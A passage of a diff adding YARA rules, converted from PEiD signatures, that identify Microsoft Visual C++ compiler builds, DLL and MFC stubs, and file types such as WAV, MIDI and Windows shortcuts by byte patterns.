+        $a = {8B 44 24 08 85 C0 0F 84 ?? ?? ?? ?? 83 F8 01 8B 0D ?? ?? ?? ?? 8B 09 89 0D ?? ?? ?? ?? 0F 85 ?? ?? ?? ?? 68 80 00 00 00 FF 15 ?? ?? ?? ?? 85 C0 59 A3 ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 83 20 00 A1 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? A3 ?? ?? ?? ?? E8}
+    condition:
+        $a
+}
+
+rule PEiD_01070_Microsoft_Visual_C___6_0___8_0_
+{
+    meta:
+        description = "[Microsoft Visual C++ 6.0 - 8.0]"
+        ep_only = "false"
+    strings:
+        $a = {8B 44 24 08 8B 4C 24 10 0B C8 8B 4C 24 0C 75 09 8B 44 24 04 F7 E1 C2 10 00 53 F7 E1 8B D8 8B 44 24 08 F7 64 24 14 03 D8 8B 44 24 08 F7 E1 03 D3 5B C2 10 00}
+    condition:
+        $a
+}
+
+rule PEiD_01071_Microsoft_Visual_C___6_0_DLL__Debug__
+{
+    meta:
+        description = "[Microsoft Visual C++ 6.0 DLL (Debug)]"
+        ep_only = "false"
+    strings:
+        $a = {55 8B EC 53 8B 5D 08 56 8B 75 0C 57 8B 7D 10 85 F6 ?? ?? 83}
+    condition:
+        $a
+}
+
+rule PEiD_01072_Microsoft_Visual_C___6_0_DLL_
+{
+    meta:
+        description = "[Microsoft Visual C++ 6.0 DLL]"
+        ep_only = "false"
+    strings:
+        $a = {55 8B EC 53 8B 5D 08 56 8B 75 0C 57 8B 7D 10 85 F6 75 09 83 3D ?? ?? ?? ?? ?? EB 26 83 FE 01 74 05 83 FE 02 75 22 A1 ?? ?? ?? ?? 85 C0 74 09 57 56 53 FF D0 85 C0 74 0C 57 56 53 E8 15 FF FF FF 85 C0 75 04 33 C0 EB 4E}
+    condition:
+        $a
+}
+rule PEiD_01073_Microsoft_Visual_C___6_0_SFX_Custom_
+{
+    meta:
+        description = "[Microsoft Visual C++ 6.0 SFX Custom]"
+        ep_only = "true"
+    strings:
+        $a = {E8 21 48 00 00 E9 16 FE FF FF 51 C7 01 08 B4 00 30 E8 A4 48 00 00 59 C3 56 8B F1 E8 EA FF FF FF F6 ?? ?? ?? ?? 74 07 56 E8 F6 04 00 00 59 8B C6 5E C2 04 00 8B 44 24 04 83 C1 09 51 83 C0 09 50}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01074_Microsoft_Visual_C___7_0_Custom_
+{
+    meta:
+        description = "[Microsoft Visual C++ 7.0 Custom]"
+        ep_only = "true"
+    strings:
+        $a = {60 BE 00 B0 44 00 8D BE 00 60 FB FF 57 83 CD FF EB 10 90 90 90 90 90 90 8A 06 46 88 07 47 01 DB 75 07 8B 1E 83 EE FC 11 DB 72 ED B8 01 00 00 00 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C0 01 DB 73}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01075_Microsoft_Visual_C___7_0_DLL_
+{
+    meta:
+        description = "[Microsoft Visual C++ 7.0 DLL]"
+        ep_only = "false"
+    strings:
+        $a = {55 8B EC 53 8B 5D 08 56 8B 75 0C 85 F6 57 8B 7D 10 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 01}
+    condition:
+        $a
+}
+
+rule PEiD_01076_Microsoft_Visual_C___7_0_MFC_
+{
+    meta:
+        description = "[Microsoft Visual C++ 7.0 MFC]"
+        ep_only = "true"
+    strings:
+        $a = {6A 60 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? BF 94 00 00 00 8B C7 E8 ?? ?? ?? ?? 89}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01077_Microsoft_Visual_C___7_0_
+{
+    meta:
+        description = "[Microsoft Visual C++ 7.0]"
+        ep_only = "true"
+    strings:
+        $a = {6A 0C 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 C0 40 89 45 E4 8B 75 0C}
+    condition:
+        $a at pe.entry_point
+}
+rule PEiD_01078_Microsoft_Visual_C___7_0_
+{
+    meta:
+        description = "[Microsoft Visual C++ 7.0]"
+        ep_only = "true"
+    strings:
+        $a = {6A 18 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? BF 94 00 00 00 8B C7 E8 ?? ?? ?? ?? 89}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01079_Microsoft_Visual_C___7_1_
+{
+    meta:
+        description = "[Microsoft Visual C++ 7.1]"
+        ep_only = "false"
+    strings:
+        $a = {55 8B EC 83 EC 08 53 56 57 55 FC 8B 5D 0C 8B 45 08 F7 40 04 06 00 00 00 0F 85 AB 00 00 00 89 45 F8 8B 45 10 89 45 FC 8D 45 F8 89 43 FC 8B 73 0C 8B 7B 08 53 E8 ?? ?? ?? ?? 83 C4 04 0B C0 74 7B 83 FE FF 74 7D 8D 0C 76 8B 44 8F 04 0B C0 74 59 56 55}
+    condition:
+        $a
+}
+
+rule PEiD_01080_Microsoft_Visual_C___7_1_
+{
+    meta:
+        description = "[Microsoft Visual C++ 7.1]"
+        ep_only = "false"
+    strings:
+        $a = {8B FF 55 8B EC 56 33 F6 39 75 0C 0F 84 ?? ?? ?? ?? 83 7D 0C 01 A1 ?? ?? ?? ?? 8B 00 A3 ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 39 75 0C 0F 84 ?? ?? ?? ?? 33 C0 40 5E 5D C2 0C 00}
+    condition:
+        $a
+}
+rule PEiD_01081_Microsoft_Visual_C___7_1_
+{
+    meta:
+        description = "[Microsoft Visual C++ 7.1]"
+        ep_only = "false"
+    strings:
+        $a = {8B FF 55 8B EC 56 33 F6 39 75 0C 0F 84 ?? ?? ?? ?? 83 7D 0C 01 A1 ?? ?? ?? ?? 8B 00 A3 ?? ?? ?? ?? 0F 85 ?? ?? ?? ?? 68 80 00 00 00 FF 15 ?? ?? ?? ?? 3B C6 59 A3 ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 89 30 A1 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? A3}
+    condition:
+        $a
+}
+
+rule PEiD_01082_Microsoft_Visual_C___7_1_
+{
+    meta:
+        description = "[Microsoft Visual C++ 7.1]"
+        ep_only = "false"
+    strings:
+        $a = {8B FF 55 8B EC 56 33 F6 39 75 0C 0F 84 ?? ?? ?? ?? 83 7D 0C 01 A1 ?? ?? ?? ?? 8B 00 A3 ?? ?? ?? ?? 0F 85 ?? ?? ?? ?? 68 80 00 00 00 FF 15 ?? ?? ?? ?? 3B C6 59 A3 ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 89 30 A1 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? A3 ?? ?? ?? ?? E8 ?? ?? ?? ?? FF 05 ?? ?? ?? ?? 59 59 33 C0 40 5E 5D C2 0C 00}
+    condition:
+        $a
+}
+
+rule PEiD_01083_Microsoft_Visual_C___7_1_
+{
+    meta:
+        description = "[Microsoft Visual C++ 7.1]"
+        ep_only = "false"
+    strings:
+        $a = {8B FF 55 8B EC 56 33 F6 39 75 0C 0F 84 ?? ?? ?? ?? 83 7D 0C 01 A1 ?? ?? ?? ?? 8B 00 A3 ?? ?? ?? ?? 75 44 68 80 00 00 00 FF 15 ?? ?? ?? ?? 3B C6 59 A3 ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 89 30 A1 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? A3 ?? ?? ?? ?? E8}
+    condition:
+        $a
+}
+rule PEiD_01084_Microsoft_Visual_C___7_1_
+{
+    meta:
+        description = "[Microsoft Visual C++ 7.1]"
+        ep_only = "false"
+    strings:
+        $a = {8B FF 55 8B EC 56 33 F6 39 75 0C 75 0E 39 35 ?? ?? ?? ?? 7E 2D FF 0D ?? ?? ?? ?? 83 7D 0C 01 A1 ?? ?? ?? ?? 8B 00 A3 ?? ?? ?? ?? 75 3D 68 80 00 00 00 FF 15 ?? ?? ?? ?? 3B C6 59 A3 ?? ?? ?? ?? 75 04 33 C0 EB 67 89 30 A1 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68}
+    condition:
+        $a
+}
+
+rule PEiD_01085_Microsoft_Visual_C___8_0__MFC__
+{
+    meta:
+        description = "[Microsoft Visual C++ 8.0 (MFC)]"
+        ep_only = "true"
+    strings:
+        $a = {48 83 EC 28 E8 ?? ?? 00 00 48 83 C4 28 E9 0E FD FF FF CC CC CC CC CC CC CC CC CC CC CC CC CC CC}
+    condition:
+        $a at pe.entry_point
+}
+/*
+rule PEiD_01086_Microsoft_Visual_C___8_0__MFC__
+{
+    meta:
+        description = "[Microsoft Visual C++ 8.0 (MFC)]"
+        ep_only = "true"
+    strings:
+        $a = {C0 ?? ?? 00 00 00 00 00 00 ?? ?? 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 ?? ?? ?? ?? ?? 00 00 00 00 00 ?? 00 00 00 00 00 ?? ?? ?? 00 00 00 00 00 ?? ?? ?? 00 00 00 00 00 ?? ?? ?? ?? 00 00 00 00 00 00 ?? 00 00 00 00 00 ?? ?? ?? 00 00}
+    condition:
+        $a at pe.entry_point
+}
+
+
+rule PEiD_01087_Microsoft_Visual_C___8_0__Debug_
+{
+    meta:
+        description = "[Microsoft Visual C++ 8.0 [Debug]"
+        ep_only = "true"
+    strings:
+        $a = {E9 ?? ?? ?? ?? E9 ?? ?? ?? ?? E9 ?? ?? ?? ?? E9 ?? ?? ?? ?? E9 ?? ?? ?? ?? E9 ?? ?? ?? ?? E9 ?? ?? ?? ?? E9 ?? ?? ?? ?? E9 ?? ?? ?? ?? E9 ?? ?? ?? ?? E9 ?? ?? ?? ?? E9 ?? ?? ?? ?? E9 ?? ?? ?? ?? E9 ?? ?? ?? ?? E9 ?? ?? ?? ?? E9 ?? ?? ?? ?? E9 ?? ?? ?? ?? E9 ?? ?? ?? ?? E9 ?? ?? ?? ?? E9 ?? ?? ?? ?? E9}
+    condition:
+        $a at pe.entry_point
+}
+
+
+rule PEiD_01088_Microsoft_Visual_C___8_0__Debug__
+{
+    meta:
+        description = "[Microsoft Visual C++ 8.0 [Debug]]"
+        ep_only = "true"
+    strings:
+        $a = {E9 ?? ?? ?? ?? E9 ?? ?? ?? ?? E9 ?? ?? ?? ?? E9 ?? ?? ?? ?? E9 ?? ?? ?? ?? E9 ?? ?? ?? ?? E9 ?? ?? ?? ?? E9 ?? ?? ?? ?? E9 ?? ?? ?? ?? E9 ?? ?? ?? ?? E9 ?? ?? ?? ?? E9 ?? ?? ?? ?? E9 ?? ?? ?? ?? E9 ?? ?? ?? ?? E9 ?? ?? ?? ?? E9 ?? ?? ?? ?? E9}
+    condition:
+        $a at pe.entry_point
+}
+*/
+
+rule PEiD_01089_Microsoft_Visual_C___8_0_
+{
+    meta:
+        description = "[Microsoft Visual C++ 8.0]"
+        ep_only = "true"
+    strings:
+        $a = {48 83 EC 28 E8 ?? ?? 00 00 48 83 C4 28 E9 ?? ?? FF FF CC CC CC CC CC CC CC CC CC CC CC CC CC CC}
+    condition:
+        $a at pe.entry_point
+}
+rule PEiD_01090_Microsoft_Visual_C___8_0_
+{
+    meta:
+        description = "[Microsoft Visual C++ 8.0]"
+        ep_only = "false"
+    strings:
+        $a = {83 3D ?? ?? ?? ?? 00 74 1A 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 59 74 0B FF 74 24 04 FF 15 ?? ?? ?? ?? 59 E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 59 59 75 54 56 57 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? BE ?? ?? ?? ?? 8B C6 BF}
+    condition:
+        $a
+}
+/*
+rule PEiD_01091_Microsoft_Visual_C___8_
+{
+    meta:
+        description = "[Microsoft Visual C++ 8]"
+        ep_only = "true"
+    strings:
+        $a = {E8 ?? ?? 00 00 E9 ?? ?? FF FF}
+    condition:
+        $a at pe.entry_point
+}
+*/
+rule PEiD_01092_Microsoft_Visual_C_______
+{
+    meta:
+        description = "[Microsoft Visual C++ ?.?]"
+        ep_only = "true"
+    strings:
+        $a = {83 ?? ?? 6A 00 FF 15 F8 10 0B B0 8D ?? ?? ?? 51 6A 08 6A 00 6A 00 68}
+    condition:
+        $a at pe.entry_point
+}
+rule PEiD_01093_Microsoft_Visual_C___DLL_
+{
+    meta:
+        description = "[Microsoft Visual C++ DLL]"
+        ep_only = "true"
+    strings:
+        $a = {53 55 56 8B 74 24 14 85 F6 57 B8 01 00 00 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01094_Microsoft_Visual_C___DLL_
+{
+    meta:
+        description = "[Microsoft Visual C++ DLL]"
+        ep_only = "true"
+    strings:
+        $a = {53 56 57 BB 01 ?? ?? ?? 8B ?? 24 14}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01095_Microsoft_Visual_C___DLL_
+{
+    meta:
+        description = "[Microsoft Visual C++ DLL]"
+        ep_only = "true"
+    strings:
+        $a = {53 B8 01 00 00 00 8B 5C 24 0C 56 57 85 DB 55 75 12 83 3D ?? ?? ?? ?? ?? 75 09 33 C0}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01096_Microsoft_Visual_C___DLL_
+{
+    meta:
+        description = "[Microsoft Visual C++ DLL]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 56 57 BF 01 00 00 00 8B 75 0C}
+    condition:
+        $a at pe.entry_point
+}
+rule PEiD_01097_Microsoft_Visual_C___v4_2_DLL_
+{
+    meta:
+        description = "[Microsoft Visual C++ v4.2 DLL]"
+        ep_only = "true"
+    strings:
+        $a = {53 B8 ?? ?? ?? ?? 8B ?? ?? ?? 56 57 85 DB 55 75}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01098_Microsoft_Visual_C___v4_2_
+{
+    meta:
+        description = "[Microsoft Visual C++ v4.2]"
+        ep_only = "true"
+    strings:
+        $a = {64 A1 00 00 00 00 55 8B EC 6A FF 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 64 ?? ?? ?? ?? ?? ?? 83 ?? ?? 53 56 57 89 ?? ?? C7}
+    condition:
+        $a at pe.entry_point
+}
+rule PEiD_01099_Microsoft_Visual_C___v4_2_
+{
+    meta:
+        description = "[Microsoft Visual C++ v4.2]"
+        ep_only = "true"
+    strings:
+        $a = {64 A1 00 00 00 00 55 8B EC 6A FF 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 64 ?? ?? ?? ?? ?? ?? 83 ?? ?? 53 56 57 89 ?? ?? FF}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01100_Microsoft_Visual_C___v4_x_
+{
+    meta:
+        description = "[Microsoft Visual C++ v4.x]"
+        ep_only = "true"
+    strings:
+        $a = {64 A1 00 00 00 00 55 8B EC 6A FF 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 64 89 25 00 00 00 00 83 EC ?? 53 56 57}
+    condition:
+        $a at pe.entry_point
+}
+rule PEiD_01101_Microsoft_Visual_C___v5_0_v6_0__MFC__
+{
+    meta:
+        description = "[Microsoft Visual C++ v5.0/v6.0 (MFC)]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 6A FF 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 64 A1 00 00 00 00 50}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01102_Microsoft_Visual_C___v5_0_
+{
+    meta:
+        description = "[Microsoft Visual C++ v5.0]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 6A FF 68 68 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 53 56 57}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01103_Microsoft_Visual_C___v6_0_DLL_
+{
+    meta:
+        description = "[Microsoft Visual C++ v6.0 DLL]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 53 8B 5D 08 56 8B 75 0C}
+    condition:
+        $a at pe.entry_point
+}
+rule PEiD_01104_Microsoft_Visual_C___v6_0_DLL_
+{
+    meta:
+        description = "[Microsoft Visual C++ v6.0 DLL]"
+        ep_only = "true"
+    strings:
+        $a = {55 8D 6C ?? ?? 81 EC ?? ?? ?? ?? 8B 45 ?? 83 F8 01 56 0F 84 ?? ?? ?? ?? 85 C0 0F 84}
+    condition:
+        $a at pe.entry_point
+}
+rule PEiD_01105_Microsoft_Visual_C___v6_0_DLL_
+{
+    meta:
+        description = "[Microsoft Visual C++ v6.0 DLL]"
+        ep_only = "true"
+    strings:
+        $a = {83 7C 24 08 01 75 09 8B 44 24 04 A3 ?? ?? 00 10 E8 8B FF FF FF}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01106_Microsoft_Visual_C___v6_0_SPx_
+{
+    meta:
+        description = "[Microsoft Visual C++ v6.0 SPx]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 83 EC 44 56 FF 15 ?? ?? ?? ?? 6A 01 8B F0 FF 15}
+    condition:
+        $a at pe.entry_point
+}
+rule PEiD_01107_Microsoft_Visual_C___v6_0_SPx_
+{
+    meta:
+        description = "[Microsoft Visual C++ v6.0 SPx]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 83 EC 44 56 FF 15 ?? ?? ?? ?? 8B F0 8A ?? 3C 22}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01108_Microsoft_Visual_C___v6_0_
+{
+    meta:
+        description = "[Microsoft Visual C++ v6.0]"
+        ep_only = "false"
+    strings:
+        $a = {55 8B EC 6A FF 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 64 89 25 ?? ?? ?? ?? 83 EC ?? 53 56 57}
+    condition:
+        $a
+}
+
+rule PEiD_01109_Microsoft_Visual_C___v6_0_
+{
+    meta:
+        description = "[Microsoft Visual C++ v6.0]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 83 EC 50 53 56 57 BE ?? ?? ?? ?? 8D 7D F4 A5 A5 66 A5 8B}
+    condition:
+        $a at pe.entry_point
+}
+rule PEiD_01110_Microsoft_Visual_C___v6_0_
+{
+    meta:
+        description = "[Microsoft Visual C++ v6.0]"
+        ep_only = "false"
+    strings:
+        $a = {55 8B EC 6A FF 68 ?? ?? ?? 00 68 ?? ?? ?? 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC ?? 53 56 57 89 65 E8 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? FF}
+    condition:
+        $a
+}
+/*
+rule PEiD_01111_Microsoft_Visual_C___v7_0__64_Bit__
+{
+    meta:
+        description = "[Microsoft Visual C++ v7.0 (64 Bit)]"
+        ep_only = "true"
+    strings:
+        $a = {?? ?? 41 00 00 00 00 00 00 00 63 00 00 00 00 00 ?? 00 ?? ?? ?? ?? ?? 00 ?? 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 ?? 00 ?? 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 ?? ?? 20 ?? ?? 00 ?? 00 ?? ?? ?? ?? ?? ?? ?? 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 ?? 00 ?? ?? ?? 00 ?? ?? ?? ?? ?? ?? ?? 00 ?? 00 ?? 00 ?? 00 ?? 00 ?? 00 ?? 00 ?? 00 ?? 00 ?? 00 ?? 00 ?? 00 ?? ?? ?? 00 ?? 00 ?? 00 ?? 00 ?? 00 ?? 00 ?? 00 ?? ?? ?? 00 ?? 00 ?? 00 ?? 00 ?? 00 ?? 00 ?? 00 ?? ?? ?? 00 ?? 00 ?? 00 ?? 00 ?? 00 ?? 00 ?? 00 ?? ?? ?? 00 ?? 00 ?? 00 ?? 00 ?? 00 ?? 00 ?? 00 ?? ?? ?? 00 ?? 00 ?? 00 ?? 00 ?? 00 ?? 00 ?? 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 ?? 00 ?? 00 ?? ?? ?? 00 ?? 00 ?? 00 ?? 00 ?? 00 ?? 00}
+    condition:
+        $a at pe.entry_point
+}
+
+
+rule PEiD_01112_Microsoft_Visual_C___v7_0__64_Bit__
+{
+    meta:
+        description = "[Microsoft Visual C++ v7.0 (64 Bit)]"
+        ep_only = "false"
+    strings:
+        $a = {?? ?? 41 00 00 00 00 00 00 00 63 00 00 00 00 00 ?? 00 ?? ?? ?? ?? ?? 00 ?? 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 ?? 00 ?? 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 ?? ?? 20 ?? ?? 00 ?? 00 ?? ?? ?? ?? ?? ?? ?? 00}
+    condition:
+        $a
+}
+
+*/
+
+rule PEiD_01113_Microsoft_Visual_C___v7_0_DLL_
+{
+    meta:
+        description = "[Microsoft Visual C++ v7.0 DLL]"
+        ep_only = "false"
+    strings:
+        $a = {55 8B EC 53 8B 5D 08 56 8B 75 0C 57 8B 7D 10 ?? ?? 83}
+    condition:
+        $a
+}
+
+rule PEiD_01114_Microsoft_Visual_C___v7_0_DLL_
+{
+    meta:
+        description = "[Microsoft Visual C++ v7.0 DLL]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 53 8B 5D 08 56 8B 75 0C 85 F6 57 8B 7D 10}
+    condition:
+        $a at pe.entry_point
+}
+rule PEiD_01115_Microsoft_Visual_C___v7_0_
+{
+    meta:
+        description = "[Microsoft Visual C++ v7.0]"
+        ep_only = "true"
+    strings:
+        $a = {6A 0C 68 88 BF 01 10 E8 B8 1C 00 00 33 C0 40 89 45 E4 8B 75 0C 33 FF 3B F7 75 0C 39 3D 6C 1E 12 10 0F 84 B3 00 00 00 89 7D FC 3B F0 74 05 83 FE 02 75 31 A1 98 36 12 10 3B C7 74 0C FF 75 10 56}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01116_Microsoft_Visual_C___v7_0_
+{
+    meta:
+        description = "[Microsoft Visual C++ v7.0]"
+        ep_only = "true"
+    strings:
+        $a = {6A ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? BF ?? ?? ?? ?? 8B C7 E8 ?? ?? ?? ?? 89 65 ?? 8B F4 89 3E 56 FF 15 ?? ?? ?? ?? 8B 4E ?? 89 0D ?? ?? ?? ?? 8B 46 ?? A3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01117_Microsoft_Visual_C___v7_1_DLL_
+{
+    meta:
+        description = "[Microsoft Visual C++ v7.1 DLL]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 53 8B 5D 08 56 8B 75 0C 85 F6 57 8B 7D 10 75 09 83 3D ?? ?? 40 00 00 EB 26 83 FE 01 74 05 83 FE 02 75 22 A1}
+    condition:
+        $a at pe.entry_point
+}
+rule PEiD_01118_Microsoft_Visual_C___v7_1_DLL_
+{
+    meta:
+        description = "[Microsoft Visual C++ v7.1 DLL]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 6A FF 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 C4 E4 53 56 57 89 65 E8 C7 45 E4 01 00 00 00 C7 45 FC}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01119_Microsoft_Visual_C___v7_1_DLL_
+{
+    meta:
+        description = "[Microsoft Visual C++ v7.1 DLL]"
+        ep_only = "true"
+    strings:
+        $a = {6A 0C 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 C0 40 89 45 E4}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01120_Microsoft_Visual_C___v7_1_DLL_
+{
+    meta:
+        description = "[Microsoft Visual C++ v7.1 DLL]"
+        ep_only = "true"
+    strings:
+        $a = {83 7C 24 08 01 75 ?? ?? ?? 24 04 50 A3 ?? ?? ?? 50 FF 15 00 10 ?? 50 33 C0 40 C2 0C 00}
+    condition:
+        $a at pe.entry_point
+}
+rule PEiD_01121_Microsoft_Visual_C___v7_1_EXE_
+{
+    meta:
+        description = "[Microsoft Visual C++ v7.1 EXE]"
+        ep_only = "true"
+    strings:
+        $a = {6A ?? 68 ?? ?? ?? 01 E8 ?? ?? 00 00 66 81 3D 00 00 00 01 4D 5A 75 ?? A1 3C 00 00 01 ?? ?? 00 00 00 01}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01122_Microsoft_Visual_C___V8_0_
+{
+    meta:
+        description = "[Microsoft Visual C++ V8.0]"
+        ep_only = "true"
+    strings:
+        $a = {6A 14 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? BB 94 00 00 00 53 6A 00 8B ?? ?? ?? ?? ?? FF D7 50 FF ?? ?? ?? ?? ?? 8B F0 85 F6 75 0A 6A 12 E8 ?? ?? ?? ?? 59 EB 18 89 1E 56 FF ?? ?? ?? ?? ?? 56 85 C0 75 14 50 FF D7 50 FF ?? ?? ?? ?? ?? B8}
+    condition:
+        $a at pe.entry_point
+}
+rule PEiD_01123_Microsoft_Visual_C___vx_x_
+{
+    meta:
+        description = "[Microsoft Visual C++ vx.x]"
+        ep_only = "true"
+    strings:
+        $a = {53 55 56 8B ?? ?? ?? 85 F6 57 B8 ?? ?? ?? ?? 75 ?? 8B ?? ?? ?? ?? ?? 85 C9 75 ?? 33 C0 5F 5E 5D 5B C2}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01124_Microsoft_Visual_C___vx_x_
+{
+    meta:
+        description = "[Microsoft Visual C++ vx.x]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 56 57 BF ?? ?? ?? ?? 8B ?? ?? 3B F7 0F}
+    condition:
+        $a at pe.entry_point
+}
+rule PEiD_01125_Microsoft_Visual_C___
+{
+    meta:
+        description = "[Microsoft Visual C++]"
+        ep_only = "false"
+    strings:
+        $a = {55 8B EC 6A FF 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 64 A1 00 00 00 00 50 64 89 25 00 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_01126_Microsoft_Visual_C___
+{
+    meta:
+        description = "[Microsoft Visual C++]"
+        ep_only = "true"
+    strings:
+        $a = {8B 44 24 08 56 83 E8 ?? 74 ?? 48 75}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01127_Microsoft_Visual_C___
+{
+    meta:
+        description = "[Microsoft Visual C++]"
+        ep_only = "true"
+    strings:
+        $a = {8B 44 24 08 83 ?? ?? 74}
+    condition:
+        $a at pe.entry_point
+}
+rule PEiD_01128_Microsoft_Visual_Studio__NET_
+{
+    meta:
+        description = "[Microsoft Visual Studio .NET]"
+        ep_only = "true"
+    strings:
+        $a = {FF 25 00 20 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_01129_Microsoft_WAV_Audio_file_
+{
+    meta:
+        description = "[Microsoft WAV Audio file]"
+        ep_only = "false"
+    strings:
+        $a = {52 49 46 46 ?? ?? ?? ?? 57 41 56 45 66 6D 74}
+    condition:
+        $a
+}
+
+rule PEiD_01130_Microsoft_Windows_Shortcut_file_
+{
+    meta:
+        description = "[Microsoft Windows Shortcut file]"
+        ep_only = "false"
+    strings:
+        $a = {4C 00 00 00 01 14 02 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_01131_Microsoft_Windows_Update_CAB_SFX_module_
+{
+    meta:
+        description = "[Microsoft Windows Update CAB SFX module]"
+        ep_only = "false"
+    strings:
+        $a = {E9 C5 FA FF FF 55 8B EC 56 8B 75 08 68 04 08 00 00 FF D6 59 33 C9 3B C1 75 0F 51 6A 05 FF 75 28 E8 2E 11 00 00 33 C0 EB 69 8B 55 0C 83 88 88 00 00 00 FF 83 88 84 00 00 00 FF 89 50 04 8B 55 10 89 50 0C 8B 55 14 89 50 10 8B 55 18 89 50 14 8B 55 1C 89 50 18}
+    condition:
+        $a
+}
+rule PEiD_01132_Microsoft_Windows_Update_CAB_SFX_module_
+{
+    meta:
+        description = "[Microsoft Windows Update CAB SFX module]"
+        ep_only = "false"
+    strings:
+        $a = {E9 C5 FA FF FF 55 8B EC 56 8B 75 08 68 04 08 00 00 FF D6 59 33 C9 3B C1 75 0F 51 6A 05 FF 75 28 E8 2E 11 00 00 33 C0 EB 69 8B 55 0C 83 88 88 00 00 00 FF 83 88 84 00 00 00 FF 89 50 04 8B 55 10 89 50 0C 8B 55 14 89 50 10 8B 55 18 89 50 14 8B 55 1C 89 50 18 8B 55 20 89 50 1C 8B 55 24 89 50 20 8B 55 28 89 48 48 89 48 44 89 48 4C B9 FF FF 00 00 89 70 08 89 10 66 C7 80 B2 00 00 00 0F 00 89 88 A0 00 00 00 89 88 A8 00 00 00 89 88 A4 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_01133_MIDI_Music_file_
+{
+    meta:
+        description = "[MIDI Music file]"
+        ep_only = "false"
+    strings:
+        $a = {4D 54 68 64 00 00 00 06 ?? ?? ?? ?? ?? ?? 4D 54}
+    condition:
+        $a
+}
+
+rule PEiD_01134_MinGW_3_2_x__Dll_main__
+{
+    meta:
+        description = "[MinGW 3.2.x (Dll_main)]"
+        ep_only = "false"
+    strings:
